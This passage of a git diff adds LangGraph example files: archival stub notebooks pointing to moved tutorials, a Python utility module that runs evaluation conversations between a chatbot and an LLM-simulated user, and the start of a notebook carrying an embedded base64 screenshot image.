moved](https://github.com/langchain-ai/langgraph/blob/23961cff61a42b52525f3b20b4094d8d2fba1744/docs/docs/tutorials/chatbot-simulation-evaluation/agent-simulation-evaluation.ipynb)" + ] + }, + { + "cell_type": "markdown", + "id": "c5fc63df", + "metadata": {}, + "source": [ + "This directory is retained purely for archival purposes and is no longer updated. The examples previously found here have been moved to the newly [consolidated LangChain documentation](https://docs.langchain.com/oss/python/langgraph/overview)." + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.11.1" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/examples/chatbot-simulation-evaluation/langsmith-agent-simulation-evaluation.ipynb b/examples/chatbot-simulation-evaluation/langsmith-agent-simulation-evaluation.ipynb new file mode 100644 index 0000000..9d29ab5 --- /dev/null +++ b/examples/chatbot-simulation-evaluation/langsmith-agent-simulation-evaluation.ipynb @@ -0,0 +1,41 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "a4351a24", + "metadata": {}, + "source": [ + "[This file has been moved](https://github.com/langchain-ai/langgraph/blob/23961cff61a42b52525f3b20b4094d8d2fba1744/docs/docs/tutorials/chatbot-simulation-evaluation/langsmith-agent-simulation-evaluation.ipynb)" + ] + }, + { + "cell_type": "markdown", + "id": "4cc9af1e", + "metadata": {}, + "source": [ + "This directory is retained purely for archival purposes and is no longer updated. The examples previously found here have been moved to the newly [consolidated LangChain documentation](https://docs.langchain.com/oss/python/langgraph/overview)." + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.11.2" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/examples/chatbot-simulation-evaluation/simulation_utils.py b/examples/chatbot-simulation-evaluation/simulation_utils.py new file mode 100644 index 0000000..be3b32e --- /dev/null +++ b/examples/chatbot-simulation-evaluation/simulation_utils.py @@ -0,0 +1,203 @@ +import functools +from typing import Annotated, Any, Callable, Dict, List, Optional, Union + +from langchain_community.adapters.openai import convert_message_to_dict +from langchain_core.messages import AIMessage, AnyMessage, BaseMessage, HumanMessage +from langchain_core.prompts import ChatPromptTemplate, MessagesPlaceholder +from langchain_core.runnables import Runnable, RunnableLambda +from langchain_core.runnables import chain as as_runnable +from langchain_openai import ChatOpenAI +from typing_extensions import TypedDict + +from langgraph.graph import END, StateGraph, START + + +def langchain_to_openai_messages(messages: List[BaseMessage]): + """ + Convert a list of langchain base messages to a list of openai messages. + + Parameters: + messages (List[BaseMessage]): A list of langchain base messages. + + Returns: + List[dict]: A list of openai messages. + """ + + return [ + convert_message_to_dict(m) if isinstance(m, BaseMessage) else m + for m in messages + ] + + +def create_simulated_user( + system_prompt: str, llm: Runnable | None = None +) -> Runnable[Dict, AIMessage]: + """ + Creates a simulated user for chatbot simulation. + + Args: + system_prompt (str): The system prompt to be used by the simulated user. + llm (Runnable | None, optional): The language model to be used for the simulation. + Defaults to gpt-3.5-turbo. + + Returns: + Runnable[Dict, AIMessage]: The simulated user for chatbot simulation. + """ + return ChatPromptTemplate.from_messages( + [ + ("system", system_prompt), + MessagesPlaceholder(variable_name="messages"), + ] + ) | (llm or ChatOpenAI(model="gpt-3.5-turbo")).with_config( + run_name="simulated_user" + ) + + +Messages = Union[list[AnyMessage], AnyMessage] + + +def add_messages(left: Messages, right: Messages) -> Messages: + if not isinstance(left, list): + left = [left] + if not isinstance(right, list): + right = [right] + return left + right + + +class SimulationState(TypedDict): + """ + Represents the state of a simulation. + + Attributes: + messages (List[AnyMessage]): A list of messages in the simulation. + inputs (Optional[dict[str, Any]]): Optional inputs for the simulation. + """ + + messages: Annotated[List[AnyMessage], add_messages] + inputs: Optional[dict[str, Any]] + + +def create_chat_simulator( + assistant: ( + Callable[[List[AnyMessage]], str | AIMessage] + | Runnable[List[AnyMessage], str | AIMessage] + ), + simulated_user: Runnable[Dict, AIMessage], + *, + input_key: str, + max_turns: int = 6, + should_continue: Optional[Callable[[SimulationState], str]] = None, +): + """Creates a chat simulator for evaluating a chatbot. + + Args: + assistant: The chatbot assistant function or runnable object. + simulated_user: The simulated user object. + input_key: The key for the input to the chat simulation. + max_turns: The maximum number of turns in the chat simulation. Default is 6. + should_continue: Optional function to determine if the simulation should continue. + If not provided, a default function will be used. + + Returns: + The compiled chat simulation graph. + + """ + graph_builder = StateGraph(SimulationState) + graph_builder.add_node( + "user", + _create_simulated_user_node(simulated_user), + ) + graph_builder.add_node( + "assistant", _fetch_messages | assistant | _coerce_to_message + ) + graph_builder.add_edge("assistant", "user") + graph_builder.add_conditional_edges( + "user", + should_continue or functools.partial(_should_continue, max_turns=max_turns), + ) + # If your dataset has a 'leading question/input', then we route first to the assistant, otherwise, we let the user take the lead. + graph_builder.add_edge(START, "assistant" if input_key is not None else "user") + + return ( + RunnableLambda(_prepare_example).bind(input_key=input_key) + | graph_builder.compile() + ) + + +## Private methods + + +def _prepare_example(inputs: dict[str, Any], input_key: Optional[str] = None): + if input_key is not None: + if input_key not in inputs: + raise ValueError( + f"Dataset's example input must contain the provided input key: '{input_key}'.\nFound: {list(inputs.keys())}" + ) + messages = [HumanMessage(content=inputs[input_key])] + return { + "inputs": {k: v for k, v in inputs.items() if k != input_key}, + "messages": messages, + } + return {"inputs": inputs, "messages": []} + + +def _invoke_simulated_user(state: SimulationState, simulated_user: Runnable): + """Invoke the simulated user node.""" + runnable = ( + simulated_user + if isinstance(simulated_user, Runnable) + else RunnableLambda(simulated_user) + ) + inputs = state.get("inputs", {}) + inputs["messages"] = state["messages"] + return runnable.invoke(inputs) + + +def _swap_roles(state: SimulationState): + new_messages = [] + for m in state["messages"]: + if isinstance(m, AIMessage): + new_messages.append(HumanMessage(content=m.content)) + else: + new_messages.append(AIMessage(content=m.content)) + return { + "inputs": state.get("inputs", {}), + "messages": new_messages, + } + + +@as_runnable +def _fetch_messages(state: SimulationState): + """Invoke the simulated user node.""" + return state["messages"] + + +def _convert_to_human_message(message: BaseMessage): + return {"messages": [HumanMessage(content=message.content)]} + + +def _create_simulated_user_node(simulated_user: Runnable): + """Simulated user accepts a {"messages": [...]} argument and returns a single message.""" + return ( + _swap_roles + | RunnableLambda(_invoke_simulated_user).bind(simulated_user=simulated_user) + | _convert_to_human_message + ) + + +def _coerce_to_message(assistant_output: str | BaseMessage): + if isinstance(assistant_output, str): + return {"messages": [AIMessage(content=assistant_output)]} + else: + return {"messages": [assistant_output]} + + +def _should_continue(state: SimulationState, max_turns: int = 6): + messages = state["messages"] + # TODO support other stop criteria + if len(messages) > max_turns: + return END + elif messages[-1].content.strip() == "FINISHED": + return END + else: + return "assistant" diff --git a/examples/chatbots/information-gather-prompting.ipynb b/examples/chatbots/information-gather-prompting.ipynb new file mode 100644 index 0000000..2a9d52a --- /dev/null +++ b/examples/chatbots/information-gather-prompting.ipynb @@ -0,0 +1,41 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "a9014f94", + "metadata": {}, + "source": [ + "[This file has been moved](https://github.com/langchain-ai/langgraph/blob/23961cff61a42b52525f3b20b4094d8d2fba1744/docs/docs/tutorials/chatbots/information-gather-prompting.ipynb)" + ] + }, + { + "cell_type": "markdown", + "id": "f47ce992", + "metadata": {}, + "source": [ + "This directory is retained purely for archival purposes and is no longer updated. The examples previously found here have been moved to the newly [consolidated LangChain documentation](https://docs.langchain.com/oss/python/langgraph/overview)." + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.11.9" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/examples/code_assistant/langgraph_code_assistant.ipynb b/examples/code_assistant/langgraph_code_assistant.ipynb new file mode 100644 index 0000000..3b0c4c9 --- /dev/null +++ b/examples/code_assistant/langgraph_code_assistant.ipynb @@ -0,0 +1,41 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "1f2f13ca", + "metadata": {}, + "source": [ + "[This file has been moved](https://github.com/langchain-ai/langgraph/blob/23961cff61a42b52525f3b20b4094d8d2fba1744/docs/docs/tutorials/code_assistant/langgraph_code_assistant.ipynb)" + ] + }, + { + "cell_type": "markdown", + "id": "5e4c9bfe", + "metadata": {}, + "source": [ + "This directory is retained purely for archival purposes and is no longer updated. The examples previously found here have been moved to the newly [consolidated LangChain documentation](https://docs.langchain.com/oss/python/langgraph/overview)." + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.12.2" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/examples/code_assistant/langgraph_code_assistant_mistral.ipynb b/examples/code_assistant/langgraph_code_assistant_mistral.ipynb new file mode 100644 index 0000000..4b5468e --- /dev/null +++ b/examples/code_assistant/langgraph_code_assistant_mistral.ipynb @@ -0,0 +1,685 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "1d38cbab", + "metadata": {}, + "source": [ + "This directory is retained purely for archival purposes and is no longer updated. Please see the newly [consolidated LangChain documentation](https://docs.langchain.com/oss/python/langgraph/overview) for the most current information and resources." + ] + }, + { + "attachments": { + "15d3ac32-cdf3-4800-a30c-f26d828d69c8.png": { + "image/png": "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QAABBBBAAAEEEEAAAQQQQAABBBBAAAEEEECA8IrfAAIIIIAAAggggAACCCCAAAIIIIAAAggggAACCCCAQM8IEF71zKWgIQgggAACCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAoRX/AYQQAABBBBAAAEEEEAAAQQQQAABBBBAAAEEEEAAAQR6RqDeMy2hIQjsYQKtVmsP6zHdRQABBOYmUKlU5nYApRFAAAEEEEAAAQQQQAABBBBAAAEEFoQAI68WxGWkEwgggAACCCCAAAIIIIAAAggggAACCCCAAAIIIIDAwhAgvFoY15FeIIAAAggggAACCCCAAAIIIIAAAggggAACCCCAAAILQoDwakFcRjqBAAIIIIAAAggggAACCCCAAAIIIIAAAggggAACCCwMAcKrhXEd6QUCCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAgggsCAECK8WxGWkEwgggAACCCCAAAIIIIAAAggggAACCCCAAAIIIIDAwhAgvFoY15FeIIAAAggggAACCCCAAAIIIIAAAggggAACCCCAAAILQoDwakFcRjqBAAIIIIAAAggggAACCCCAAAIIIIAAAggggAACCCwMAcKrhXEd6QUCCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAgggsCAECK8WxGWkEwgggAACCCCAAAIIIIAAAggggAACCCCAAAIIIIDAwhAgvFoY15FeIIAAAggggAACCCCAAAIIIIAAAggggAACCCCAAAILQoDwakFcRjqBAAIIIIAAAggggAACCCCAAAIIIIAAAggggAACCCwMAcKrhXEd6QUCCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAgggsCAECK8WxGWkEwgggAACCCCAAAIIIIAAAggggAACCCCAAAIIIIDAwhAgvFoY15FeIIAAAggggAACCCCAAAIIIIAAAggggAACCCCAAAILQoDwakFcRjqBAAIIIIAAAggggAACCCCAAAIIIIAAAggggAACCCwMAcKrhXEd6QUCCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAgggsCAECK8WxGWkEwgggAACCCCAAAIIIIAAAggggAACCCCAAAIIIIDAwhAgvFoY15FeIIAAAggggAACCCCAAAIIIIAAAggggAACCCCAAAILQoDwakFcRjqBAAIIIIAAAggggAACCCCA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